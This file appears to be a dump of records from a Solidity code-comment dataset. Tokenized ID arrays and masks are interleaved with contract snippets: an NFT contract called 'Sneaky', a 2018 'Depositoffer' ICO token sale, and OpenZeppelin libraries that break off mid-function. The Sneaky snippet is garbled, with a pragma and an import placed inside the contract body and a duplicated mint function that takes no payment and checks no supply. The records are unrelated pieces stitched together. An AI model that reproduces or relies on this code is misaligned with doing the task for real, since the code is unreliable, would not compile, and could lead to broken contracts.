[ 1, 565, 445, 30143, 26090, 12, 11890, 5034, 3844, 16, 2254, 5034, 1018, 5147, 13, 203, 565, 3903, 203, 565, 1338, 3335, 1768, 203, 565, 866, 10224, 203, 565, 866, 13649, 203, 565, 866, 5592, 203, 565, 288, 203, 3639, 2583, 12, 8949, 405, 374, 16, 296, 56, 266, 345, 22498, 30, 2780, 23701, 15692, 598, 3634, 3844, 8284, 203, 203, 3639, 2254, 5034, 276, 961, 5147, 273, 389, 588, 39, 961, 5147, 12, 26425, 23601, 1769, 203, 3639, 2583, 12, 71, 961, 5147, 422, 1018, 5147, 16, 296, 56, 266, 345, 22498, 30, 276, 961, 6205, 10456, 8284, 203, 3639, 2583, 12, 203, 5411, 296, 56, 266, 345, 22498, 30, 276, 961, 5147, 486, 21351, 364, 8427, 23701, 11, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 8427, 5147, 273, 276, 961, 5147, 31, 203, 3639, 11083, 270, 6672, 12, 71, 961, 2934, 70, 321, 1265, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 3639, 11083, 270, 6672, 12, 26425, 2934, 81, 474, 12, 3576, 18, 15330, 16, 3844, 18, 16411, 12, 21, 73, 2643, 2934, 2892, 12, 26425, 5147, 10019, 203, 3639, 389, 2725, 39, 961, 5147, 5621, 203, 3639, 3626, 17980, 9540, 26090, 12, 3576, 18, 15330, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xBA27701D914fe6957c87D6b1213A3dD938Bb3EBb/sources/contracts/Sneaky.sol
Chain Renegades | ERC721 \ Ownable Override Base Token URI Variable Drop Details Team Addresses On deployment, set the `baseURI` and mint the team tokens
contract Sneaky is ERC721Enumerable, Ownable { using Strings for uint256; string public _baseTokenURI; bool public _active = false; uint256 public _gifts = 600; uint256 public _price = 0.055 ether; uint256 public _supply = 9999; address public artist = 0x8b88130e3B6d99aC05e382C17bD28dcaD2F86D41; address public dev = 0xd230f390AbB50470fa265a022d673c6147BDc396; pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol'; constructor(string memory baseURI) ERC721("Sneaky", "Sneaky") { setBaseURI(baseURI); _safeMint( dev, 0); } function mint(uint256 _amount) public { uint256 supply = totalSupply(); for(uint256 i; i < _amount; i++){ _safeMint( msg.sender, supply + i ); } } function mint(uint256 _amount) public { uint256 supply = totalSupply(); for(uint256 i; i < _amount; i++){ _safeMint( msg.sender, supply + i ); } } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } }
669,378
[ 1, 3893, 25921, 1332, 16601, 571, 4232, 39, 27, 5340, 521, 14223, 6914, 1439, 3360, 3155, 3699, 7110, 10895, 21897, 10434, 23443, 2755, 6314, 16, 444, 326, 1375, 1969, 3098, 68, 471, 312, 474, 326, 5927, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 348, 4644, 29643, 353, 4232, 39, 27, 5340, 3572, 25121, 16, 14223, 6914, 288, 203, 225, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 225, 533, 1071, 389, 1969, 1345, 3098, 31, 203, 203, 225, 1426, 1071, 389, 3535, 273, 629, 31, 203, 225, 2254, 5034, 1071, 389, 75, 2136, 87, 273, 14707, 31, 203, 225, 2254, 5034, 1071, 389, 8694, 273, 374, 18, 20, 2539, 225, 2437, 31, 203, 225, 2254, 5034, 1071, 389, 2859, 1283, 273, 30082, 31, 203, 203, 225, 1758, 1071, 15469, 273, 374, 92, 28, 70, 5482, 24417, 73, 23, 38, 26, 72, 2733, 69, 39, 6260, 73, 7414, 22, 39, 4033, 70, 40, 6030, 72, 5353, 40, 22, 42, 5292, 40, 9803, 31, 203, 225, 1758, 1071, 4461, 273, 374, 7669, 29157, 74, 5520, 20, 5895, 38, 25, 3028, 7301, 507, 30281, 69, 3103, 22, 72, 26, 9036, 71, 26, 29488, 18096, 71, 5520, 26, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 5666, 4622, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 2316, 19, 654, 39, 27, 5340, 19, 9489, 19, 654, 39, 27, 5340, 3572, 25121, 18, 18281, 13506, 203, 225, 3885, 12, 1080, 3778, 1026, 3098, 13, 4232, 39, 27, 5340, 2932, 55, 4644, 29643, 3113, 315, 55, 4644, 29643, 7923, 288, 203, 565, 26435, 3098, 12, 1969, 3098, 1769, 203, 565, 389, 4626, 49, 474, 12, 4461, 16, 374, 1769, 203, 225, 289, 203, 21281, 225, 445, 312, 474, 12, 11890, 5034, 389, 8949, 2 ]
/* file: depositoffer.sol ver: 0.1.1 author: Chris Kwan date: 28-OCT-2017/11-March-2018 email: ecorpnu AT gmail.com A collated contract set for a token sale specific to the requirments of Depositoffer (DOT) token product. This software is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See MIT Licence for further details. <https://opensource.org/licenses/MIT>. */ pragma solidity ^0.4.18; /*-----------------------------------------------------------------------------\ depositoffer token sale configuration \*----------------------------------------------------------------------------*/ // Contains token sale parameters contract depositofferTokenConfig { // ERC20 trade name and symbol string public name = "Depositoffer.com USPat7376612"; string public symbol = "DOT"; // Owner has power to abort, discount addresses, sweep successful funds, // change owner, sweep alien tokens. address public owner = 0xB353cF41A0CAa38D6597A7a1337debf0b09dd8ae; // Primary address checksummed // Fund wallet should also be audited prior to deployment // NOTE: Must be checksummed address! //address public fundWallet = 0xE4Be3157DBD71Acd7Ad5667db00AA111C0088195; // multiSig address checksummed address public fundWallet = 0xcce1f6f4ceb0f046cf57fe8e1c409fc47afe6aab; // Tokens awarded per USD contributed uint public constant TOKENS_PER_USD = 2; // Ether market price in USD uint public constant USD_PER_ETH = 380; // approx 7 day average High Low as at 29th OCT 2017 // Minimum and maximum target in USD uint public constant MIN_USD_FUND = 1; // $1 uint public constant MAX_USD_FUND = 2000000; // $2 mio // Non-KYC contribution limit in USD uint public constant KYC_USD_LMT = 50000; // There will be exactly 4000000 tokens regardless of number sold // Unsold tokens are put given to the Founder on Trust to fund operations of the Project uint public constant MAX_TOKENS = 4000000; // 4 mio // Funding begins on 30th OCT 2017 //uint public constant START_DATE = 1509318001; // 30.10.2017 10 AM and 1 Sec Sydney Time uint public constant START_DATE = 1520776337; // Monday March 12, 2018 00:52:17 (am) in time zone Australia/Sydney (AEDT) // Period for fundraising uint public constant FUNDING_PERIOD = 180 days; } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ReentryProtected { // The reentry protection state mutex. bool __reMutex; // Sets and resets mutex in order to block functin reentry modifier preventReentry() { require(!__reMutex); __reMutex = true; _; delete __reMutex; } // Blocks function entry if mutex is set modifier noReentry() { require(!__reMutex); _; } } contract ERC20Token { using SafeMath for uint; /* Constants */ // none /* State variable */ /// @return The Total supply of tokens uint public totalSupply; /// @return Token symbol string public symbol; // Token ownership mapping mapping (address => uint) balances; // Allowances mapping mapping (address => mapping (address => uint)) allowed; /* Events */ // Triggered when tokens are transferred. event Transfer( address indexed _from, address indexed _to, uint256 _amount); // Triggered whenever approve(address _spender, uint256 _amount) is called. event Approval( address indexed _owner, address indexed _spender, uint256 _amount); /* Modifiers */ // none /* Functions */ // Using an explicit getter allows for function overloading function balanceOf(address _addr) public constant returns (uint) { return balances[_addr]; } // Using an explicit getter allows for function overloading function allowance(address _owner, address _spender) public constant returns (uint) { return allowed[_owner][_spender]; } // Send _value amount of tokens to address _to function transfer(address _to, uint256 _amount) public returns (bool) { return xfer(msg.sender, _to, _amount); } // Send _value amount of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _amount) public returns (bool) { require(_amount <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); return xfer(_from, _to, _amount); } // Process a transfer internally. function xfer(address _from, address _to, uint _amount) internal returns (bool) { require(_amount <= balances[_from]); Transfer(_from, _to, _amount); // avoid wasting gas on 0 token transfers if(_amount == 0) return true; balances[_from] = balances[_from].sub(_amount); balances[_to] = balances[_to].add(_amount); return true; } // Approves a third-party spender function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } } /*-----------------------------------------------------------------------------\ ## Conditional Entry Table Functions must throw on F conditions Conditional Entry Table (functions must throw on F conditions) renetry prevention on all public mutating functions Reentry mutex set in moveFundsToWallet(), refund() |function |<START_DATE|<END_DATE |fundFailed |fundSucceeded|icoSucceeded |------------------------|:---------:|:--------:|:----------:|:-----------:|:---------:| |() |KYC |T |F |T |F | |abort() |T |T |T |T |F | |proxyPurchase() |KYC |T |F |T |F | |addKycAddress() |T |T |F |T |T | |finaliseICO() |F |F |F |T |T | |refund() |F |F |T |F |F | |transfer() |F |F |F |F |T | |transferFrom() |F |F |F |F |T | |approve() |F |F |F |F |T | |changeOwner() |T |T |T |T |T | |acceptOwnership() |T |T |T |T |T | |changedeposito() |T |T |T |T |T | |destroy() |F |F |!__abortFuse|F |F | |transferAnyERC20Tokens()|T |T |T |T |T | \*----------------------------------------------------------------------------*/ contract depositofferTokenAbstract { // TODO comment events // Logged when funder exceeds the KYC limit event KYCAddress(address indexed _addr, bool indexed _kyc); // Logged upon refund event Refunded(address indexed _addr, uint indexed _value); // Logged when new owner accepts ownership event ChangedOwner(address indexed _from, address indexed _to); // Logged when owner initiates a change of ownership event ChangeOwnerTo(address indexed _to); // Logged when ICO ether funds are transferred to an address event FundsTransferred(address indexed _wallet, uint indexed _value); // This fuse blows upon calling abort() which forces a fail state bool public __abortFuse = true; // Set to true after the fund is swept to the fund wallet, allows token // transfers and prevents abort() bool public icoSuccessful; // Token conversion factors are calculated with decimal places at parity with ether uint8 public constant decimals = 18; // An address authorised to take ownership address public newOwner; // The deposito smart contract address address public deposito; // Total ether raised during funding uint public etherRaised; // Preauthorized tranch discount addresses // holder => discount mapping (address => bool) public kycAddresses; // Record of ether paid per address mapping (address => uint) public etherContributed; // Return `true` if MIN_FUNDS were raised function fundSucceeded() public constant returns (bool); // Return `true` if MIN_FUNDS were not raised before END_DATE function fundFailed() public constant returns (bool); // Returns USD raised for set ETH/USD rate function usdRaised() public constant returns (uint); // Returns an amount in eth equivilent to USD at the set rate function usdToEth(uint) public constant returns(uint); // Returns the USD value of ether at the set USD/ETH rate function ethToUsd(uint _wei) public constant returns (uint); // Returns token/ether conversion given ether value and address. function ethToTokens(uint _eth) public constant returns (uint); // Processes a token purchase for a given address function proxyPurchase(address _addr) payable returns (bool); // Owner can move funds of successful fund to fundWallet function finaliseICO() public returns (bool); // Registers a discounted address function addKycAddress(address _addr, bool _kyc) public returns (bool); // Refund on failed or aborted sale function refund(address _addr) public returns (bool); // To cancel token sale prior to START_DATE function abort() public returns (bool); // Change the deposito backend contract address function changedeposito(address _addr) public returns (bool); // For owner to salvage tokens sent to contract function transferAnyERC20Token(address tokenAddress, uint amount) returns (bool); } /*-----------------------------------------------------------------------------\ depositoffer token implimentation \*----------------------------------------------------------------------------*/ contract depositofferToken is ReentryProtected, ERC20Token, depositofferTokenAbstract, depositofferTokenConfig { using SafeMath for uint; // // Constants // // USD to ether conversion factors calculated from `depositofferTokenConfig` constants uint public constant TOKENS_PER_ETH = TOKENS_PER_USD * USD_PER_ETH; uint public constant MIN_ETH_FUND = 1 ether * MIN_USD_FUND / USD_PER_ETH; uint public constant MAX_ETH_FUND = 1 ether * MAX_USD_FUND / USD_PER_ETH; uint public constant KYC_ETH_LMT = 1 ether * KYC_USD_LMT / USD_PER_ETH; // General funding opens LEAD_IN_PERIOD after deployment (timestamps can't be constant) uint public END_DATE = START_DATE + FUNDING_PERIOD; // // Modifiers // modifier onlyOwner { require(msg.sender == owner); _; } // // Functions // // Constructor function depositofferToken() { // ICO parameters are set in depositofferTSConfig // Invalid configuration catching here require(bytes(symbol).length > 0); require(bytes(name).length > 0); require(owner != 0x0); require(fundWallet != 0x0); require(TOKENS_PER_USD > 0); require(USD_PER_ETH > 0); require(MIN_USD_FUND > 0); require(MAX_USD_FUND > MIN_USD_FUND); require(START_DATE > 0); require(FUNDING_PERIOD > 0); // Setup and allocate token supply to 18 decimal places totalSupply = MAX_TOKENS * 1e18; balances[fundWallet] = totalSupply; Transfer(0x0, fundWallet, totalSupply); } // Default function function () payable { // Pass through to purchasing function. Will throw on failed or // successful ICO proxyPurchase(msg.sender); } // // Getters // // ICO fails if aborted or minimum funds are not raised by the end date function fundFailed() public constant returns (bool) { return !__abortFuse || (now > END_DATE && etherRaised < MIN_ETH_FUND); } // Funding succeeds if not aborted, minimum funds are raised before end date function fundSucceeded() public constant returns (bool) { return !fundFailed() && etherRaised >= MIN_ETH_FUND; } // Returns the USD value of ether at the set USD/ETH rate function ethToUsd(uint _wei) public constant returns (uint) { return USD_PER_ETH.mul(_wei).div(1 ether); } // Returns the ether value of USD at the set USD/ETH rate function usdToEth(uint _usd) public constant returns (uint) { return _usd.mul(1 ether).div(USD_PER_ETH); } // Returns the USD value of ether raised at the set USD/ETH rate function usdRaised() public constant returns (uint) { return ethToUsd(etherRaised); } // Returns the number of tokens for given amount of ether for an address function ethToTokens(uint _wei) public constant returns (uint) { uint usd = ethToUsd(_wei); // Percent bonus funding tiers for USD funding uint bonus = 0; // usd >= 2000000 ? 35 : // usd >= 500000 ? 30 : // usd >= 100000 ? 20 : // usd >= 25000 ? 15 : // usd >= 10000 ? 10 : // usd >= 5000 ? 5 : // usd >= 1000 ? 1 : // using n.2 fixed point decimal for whole number percentage. return _wei.mul(TOKENS_PER_ETH).mul(bonus + 100).div(100); } // // ICO functions // // The fundraising can be aborted any time before funds are swept to the // fundWallet. // This will force a fail state and allow refunds to be collected. function abort() public noReentry onlyOwner returns (bool) { require(!icoSuccessful); delete __abortFuse; return true; } // General addresses can purchase tokens during funding function proxyPurchase(address _addr) payable noReentry returns (bool) { require(!fundFailed()); require(!icoSuccessful); require(now <= END_DATE); require(msg.value > 0); // Non-KYC'ed funders can only contribute up to $10000 after prefund period if(!kycAddresses[_addr]) { require(now >= START_DATE); require((etherContributed[_addr].add(msg.value)) <= KYC_ETH_LMT); } // Get ether to token conversion uint tokens = ethToTokens(msg.value); // transfer tokens from fund wallet xfer(fundWallet, _addr, tokens); // Update holder payments etherContributed[_addr] = etherContributed[_addr].add(msg.value); // Update funds raised etherRaised = etherRaised.add(msg.value); // Bail if this pushes the fund over the USD cap or Token cap require(etherRaised <= MAX_ETH_FUND); return true; } // Owner can KYC (or revoke) addresses until close of funding function addKycAddress(address _addr, bool _kyc) public noReentry onlyOwner returns (bool) { require(!fundFailed()); kycAddresses[_addr] = _kyc; KYCAddress(_addr, _kyc); return true; } // Owner can sweep a successful funding to the fundWallet // Contract can be aborted up until this action. // Effective once but can be called multiple time to withdraw edge case // funds recieved by contract which can selfdestruct to this address function finaliseICO() public onlyOwner preventReentry() returns (bool) { require(fundSucceeded()); icoSuccessful = true; FundsTransferred(fundWallet, this.balance); fundWallet.transfer(this.balance); return true; } // Refunds can be claimed from a failed ICO function refund(address _addr) public preventReentry() returns (bool) { require(fundFailed()); uint value = etherContributed[_addr]; // Transfer tokens back to origin // (Not really necessary but looking for graceful exit) xfer(_addr, fundWallet, balances[_addr]); // garbage collect delete etherContributed[_addr]; delete kycAddresses[_addr]; Refunded(_addr, value); if (value > 0) { _addr.transfer(value); } return true; } // // ERC20 overloaded functions // function transfer(address _to, uint _amount) public preventReentry returns (bool) { // ICO must be successful require(icoSuccessful); super.transfer(_to, _amount); if (_to == deposito) // Notify the deposito contract it has been sent tokens require(Notify(deposito).notify(msg.sender, _amount)); return true; } function transferFrom(address _from, address _to, uint _amount) public preventReentry returns (bool) { // ICO must be successful require(icoSuccessful); super.transferFrom(_from, _to, _amount); if (_to == deposito) // Notify the deposito contract it has been sent tokens require(Notify(deposito).notify(msg.sender, _amount)); return true; } function approve(address _spender, uint _amount) public noReentry returns (bool) { // ICO must be successful require(icoSuccessful); super.approve(_spender, _amount); return true; } // // Contract managment functions // // To initiate an ownership change function changeOwner(address _newOwner) public noReentry onlyOwner returns (bool) { ChangeOwnerTo(_newOwner); newOwner = _newOwner; return true; } // To accept ownership. Required to prove new address can call the contract. function acceptOwnership() public noReentry returns (bool) { require(msg.sender == newOwner); ChangedOwner(owner, newOwner); owner = newOwner; return true; } // Change the address of the deposito contract address. The contract // must impliment the `Notify` interface. function changedeposito(address _addr) public noReentry onlyOwner returns (bool) { deposito = _addr; return true; } // The contract can be selfdestructed after abort and ether balance is 0. function destroy() public noReentry onlyOwner { require(!__abortFuse); require(this.balance == 0); selfdestruct(owner); } // Owner can salvage ANYTYPE ERC20 tokens that may have been sent to the account by accident function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner preventReentry returns (bool) { require(ERC20Token(tokenAddress).transfer(owner, amount)); return true; } } interface Notify { event Notified(address indexed _from, uint indexed _amount); function notify(address _from, uint _amount) public returns (bool); } contract depositoTest is Notify { address public dot; function setdot(address _addr) { dot = _addr; } function notify(address _from, uint _amount) public returns (bool) { require(msg.sender == dot); Notified(_from, _amount); return true; } }
Monday March 12, 2018 00:52:17 (am) in time zone Australia/Sydney (AEDT)
uint public constant START_DATE = 1520776337;
5,721,748
[ 1, 49, 28612, 490, 991, 2593, 16, 14863, 9631, 30, 9401, 30, 4033, 261, 301, 13, 316, 813, 4157, 432, 27008, 287, 1155, 19, 10876, 5176, 402, 261, 37, 2056, 56, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 2254, 1071, 5381, 565, 10485, 67, 4594, 1377, 273, 4711, 3462, 4700, 26, 3707, 27, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage 